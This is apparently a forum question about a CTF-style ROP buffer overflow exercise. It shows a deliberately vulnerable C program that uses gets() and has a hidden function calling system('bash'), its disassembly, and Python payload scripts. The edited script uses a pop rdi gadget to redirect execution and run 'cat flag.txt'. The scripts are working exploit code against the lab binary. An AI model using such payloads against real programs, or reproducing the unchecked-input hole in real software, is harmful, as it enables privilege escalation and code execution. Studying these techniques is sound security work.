title: Rop Buffer Overflow
body: <p>I am trying to get a shell by overflowing the stack, but no matter what I do it doesn't work. ASLR is On, but stack cookies are off and I can't execute code on the stack. here is the code:</p>
  
  <pre><code>#include &lt;stdlib.h&gt;
  #include &lt;stdio.h&gt;
  #include &lt;string.h&gt;
  #include &lt;unistd.h&gt;
  
  void secret() {
      system("bash");
  }
  
  void start() {
      char user[32];
  
      puts("User : ");
      gets(user);
  
      write(1, "Hello ", 6);
      write(1, user, strlen(user));
      puts("!");
  }
  
  void main() {
      if (seteuid(1001) == -1 || setuid(1001) == -1 || setegid(1001) == -1 || setgid(1001) == -1) {
          printf("Error for 'setuid'\n");
      }
  
      setvbuf(stdout, NULL, _IONBF, 0x500);
      start();
  }
  </code></pre>
  
  <p>As soon as the stack is overlfowed, execve called in system.c, return a zombie shell. Even tought i call secret in real code.</p>
  
  <p>here is my python silly script</p>
  
  <pre><code>buf = ""
  buf += "A"*32
  
  # RBP
  buf += struct.pack("&lt;Q", 0x7fffffffe1c0)
  
  #secret call
  buf += struct.pack("&lt;Q", 0x000055555555491a)
  
  f = open("payload", "w")
  f.write(buf)
  </code></pre>
  
  <p>and here is the dasm of the exec</p>
  
  <pre><code>000000000000091a &lt;secret&gt;:
   91a:   55                      push   %rbp
   91b:   48 89 e5                mov    %rsp,%rbp
   91e:   48 8d 3d 6f 01 00 00    lea    0x16f(%rip),%rdi        # a94 &lt;_IO_stdin_used+0x4&gt;
   925:   e8 66 fe ff ff          callq  790 &lt;system@plt&gt;
   92a:   90                      nop
   92b:   5d                      pop    %rbp
   92c:   c3                      retq   
  
  000000000000092d &lt;start&gt;:
   92d:   55                      push   %rbp
   92e:   48 89 e5                mov    %rsp,%rbp
   931:   48 83 ec 20             sub    $0x20,%rsp
   935:   48 8d 3d 5d 01 00 00    lea    0x15d(%rip),%rdi        # a99 &lt;_IO_stdin_used+0x9&gt;
   93c:   e8 1f fe ff ff          callq  760 &lt;puts@plt&gt;
   941:   48 8d 45 e0             lea    -0x20(%rbp),%rax
   945:   48 89 c7                mov    %rax,%rdi
   948:   b8 00 00 00 00          mov    $0x0,%eax
   94d:   e8 4e fe ff ff          callq  7a0 &lt;gets@plt&gt;
   952:   ba 06 00 00 00          mov    $0x6,%edx
   957:   48 8d 35 43 01 00 00    lea    0x143(%rip),%rsi        # aa1 &lt;_IO_stdin_used+0x11&gt;
   95e:   bf 01 00 00 00          mov    $0x1,%edi
   963:   e8 08 fe ff ff          callq  770 &lt;write@plt&gt;
   968:   48 8d 45 e0             lea    -0x20(%rbp),%rax
   96c:   48 89 c7                mov    %rax,%rdi
   96f:   e8 0c fe ff ff          callq  780 &lt;strlen@plt&gt;
   974:   48 89 c2                mov    %rax,%rdx
   977:   48 8d 45 e0             lea    -0x20(%rbp),%rax
   97b:   48 89 c6                mov    %rax,%rsi
   97e:   bf 01 00 00 00          mov    $0x1,%edi
   983:   e8 e8 fd ff ff          callq  770 &lt;write@plt&gt;
   988:   48 8d 3d 19 01 00 00    lea    0x119(%rip),%rdi        # aa8 &lt;_IO_stdin_used+0x18&gt;
   98f:   e8 cc fd ff ff          callq  760 &lt;puts@plt&gt;
   994:   90                      nop
   995:   c9                      leaveq 
   996:   c3                      retq   
  
  0000000000000997 &lt;main&gt;:
   997:   55                      push   %rbp
   998:   48 89 e5                mov    %rsp,%rbp
   99b:   bf e9 03 00 00          mov    $0x3e9,%edi
   9a0:   e8 4b fe ff ff          callq  7f0 &lt;seteuid@plt&gt;
   9a5:   83 f8 ff                cmp    $0xffffffff,%eax
   9a8:   74 2d                   je     9d7 &lt;main+0x40&gt;
   9aa:   bf e9 03 00 00          mov    $0x3e9,%edi
   9af:   e8 1c fe ff ff          callq  7d0 &lt;setuid@plt&gt;
   9b4:   83 f8 ff                cmp    $0xffffffff,%eax
   9b7:   74 1e                   je     9d7 &lt;main+0x40&gt;
   9b9:   bf e9 03 00 00          mov    $0x3e9,%edi
   9be:   e8 1d fe ff ff          callq  7e0 &lt;setegid@plt&gt;
   9c3:   83 f8 ff                cmp    $0xffffffff,%eax
   9c6:   74 0f                   je     9d7 &lt;main+0x40&gt;
   9c8:   bf e9 03 00 00          mov    $0x3e9,%edi
   9cd:   e8 ee fd ff ff          callq  7c0 &lt;setgid@plt&gt;
   9d2:   83 f8 ff                cmp    $0xffffffff,%eax
   9d5:   75 0c                   jne    9e3 &lt;main+0x4c&gt;
   9d7:   48 8d 3d cc 00 00 00    lea    0xcc(%rip),%rdi        # aaa &lt;_IO_stdin_used+0x1a&gt;
   9de:   e8 7d fd ff ff          callq  760 &lt;puts@plt&gt;
   9e3:   48 8b 05 8e 06 20 00    mov    0x20068e(%rip),%rax        # 201078 &lt;stdout@@GLIBC_2.2.5&gt;
   9ea:   b9 00 05 00 00          mov    $0x500,%ecx
   9ef:   ba 02 00 00 00          mov    $0x2,%edx
   9f4:   be 00 00 00 00          mov    $0x0,%esi
   9f9:   48 89 c7                mov    %rax,%rdi
   9fc:   e8 af fd ff ff          callq  7b0 &lt;setvbuf@plt&gt;
   a01:   b8 00 00 00 00          mov    $0x0,%eax
   a06:   e8 22 ff ff ff          callq  92d &lt;start&gt;
   a0b:   90                      nop
   a0c:   5d                      pop    %rbp
   a0d:   c3                      retq   
   a0e:   66 90                   xchg   %ax,%ax
  </code></pre>
  
  <p>please help</p>
  
  <p>Edit
  I managed to cat a file by doing..
  import struct</p>
  
  <pre><code>buf = "A"*32
  
  # RBP
  buf += struct.pack("&lt;Q", 0x7fffffffe1c0)
  
  #POP RDI
  buf += struct.pack("&lt;Q", 0x0000000000000a73+0x555555554000)
  buf += struct.pack("&lt;Q", 0x7fffffffe1d0)
  
  # call secret
  buf += struct.pack("&lt;Q", 0x0000555555554925)
  
  buf += "cat flag.txt\x00"
  </code></pre>
  
  <p>Does this means i would have to take a register with close address to 0x7fffffffe1d0 and add a constant when aslr is on using a gadget?</p>